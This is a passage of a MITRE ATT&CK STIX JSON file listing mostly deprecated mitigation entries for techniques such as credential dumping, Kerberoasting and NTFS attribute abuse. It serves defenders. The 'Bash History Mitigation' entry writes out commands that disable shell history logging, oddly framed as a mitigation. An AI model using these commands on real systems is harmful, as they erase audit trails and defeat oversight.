GP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1101","external_id":"T1101"},{"source_name":"Graeber 2014","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"},{"source_name":"Microsoft Configure LSA","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx"}],"modified":"2019-07-25T11:41:39.946Z","name":"Security Support Provider Mitigation","description":"Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1065","external_id":"T1065"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T12:31:21.118Z","name":"Uncommonly Used Port Mitigation","description":"Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1023","url":"https://attack.mitre.org/mitigations/T1023","source_name":"mitre-attack"},{"source_name":"UCF STIG Symbolic Links","description":"UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.","url":"https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.907Z","name":"Shortcut Modification Mitigation","description":"Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1209","url":"https://attack.mitre.org/mitigations/T1209","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.","source_name":"Microsoft W32Time May 2017"}],"modified":"2020-01-17T16:45:23.703Z","name":"Time Providers Mitigation","description":"Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-31T17:12:06.164Z","name":"Restrict Registry Permissions","description":"Restrict the ability to modify certain hives or keys in the Windows Registry.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","type":"course-of-action","id":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","created":"2019-06-06T20:58:59.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1024","external_id":"M1024"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a3e12b04-8598-4909-8855-2c97c1e7d549","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1208","external_id":"T1208"},{"source_name":"AdSecurity Cracking Kerberos Dec 2015","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","url":"https://adsecurity.org/?p=2293"}],"modified":"2019-07-24T19:44:28.440Z","name":"Kerberoasting Mitigation","description":"Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1024","external_id":"T1024"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T18:14:14.227Z","name":"Custom Cryptographic Protocol Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","type":"course-of-action","created":"2019-06-11T17:08:33.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1049","url":"https://attack.mitre.org/mitigations/M1049"}],"modified":"2020-03-31T13:07:15.684Z","name":"Antivirus/Antimalware","description":"Use signatures or heuristics to detect malicious software.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1032","external_id":"T1032"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T12:01:13.198Z","name":"Standard Cryptographic Protocol Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1121","url":"https://attack.mitre.org/mitigations/T1121","source_name":"mitre-attack"}],"modified":"2019-07-25T11:31:59.090Z","name":"Regsvcs/Regasm Mitigation","description":"Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1011","external_id":"T1011"},{"url":"https://technet.microsoft.com/library/dd252791.aspx","description":"Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.","source_name":"Microsoft GPO Bluetooth FEB 2009"},{"url":"https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/","description":"Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.","source_name":"TechRepublic Wireless GPO FEB 2009"}],"modified":"2019-07-24T19:20:18.344Z","name":"Exfiltration Over Other Network Medium Mitigation","description":"Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1061","url":"https://attack.mitre.org/mitigations/T1061","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.202Z","name":"Graphical User Interface Mitigation","description":"Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1096","url":"https://attack.mitre.org/mitigations/T1096","source_name":"mitre-attack"},{"url":"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/","description":"Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.","source_name":"Microsoft ADS Mar 2014"},{"source_name":"Symantec ADS May 2009","description":"Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.","url":"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"InsiderThreat NTFS EA Oct 2017","description":"Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes – File System Attacks. Retrieved March 21, 2018.","url":"https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks"}],"modified":"2021-08-23T20:25:21.492Z","name":"NTFS File Attributes Mitigation","description":"It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ace4daee-f914-4707-be75-843f16da2edf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1139","external_id":"T1139"}],"modified":"2019-07-24T14:37:14.608Z","name":"Bash History Mitigation","description":"There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ad7f983d-d5a8-4fce-a38c-b68eda61bf4e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1192","external_id":"T1192"}],"modified":"2019-07-25T11:59:46.032Z","name":"Spearphishing Link Mitigation","description":"Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ae56a49d-5281-45c5-ab95-70a1439c338e","type":"course-of-action","created":"2019-04-25T20:53:07.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1500","source_name":"mitre-attack","external_id":"T1500"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:22.015Z","name":"Compile After Delivery Mitigation","description":"This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1003","url":"https://attack.mitre.org/mitigations/T1003","source_name":"mitre-attack"},{"url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","source_name":"Microsoft Securing Privileged Access"},{"source_name":"Microsoft LSA","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"},{"source_name":"TechNet Credential Guard","description":"Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.","url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard"},{"source_name":"GitHub SHB Credential Guard","description":"NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.","url":"https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard"},{"url":"https://adsecurity.org/?p=1729","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","source_name":"AdSecurity DCSync Sept 2015"},{"source_name":"Microsoft Replication ACL","description":"Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.","url":"https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"},{"source_name":"Microsoft Disable NTLM Nov 2012","description":"Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.","url":"https://technet.microsoft.com/library/jj865668.aspx"}],"modified":"2021-08-23T20:25:19.916Z","name":"Credential Dumping Mitigation","description":"### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of 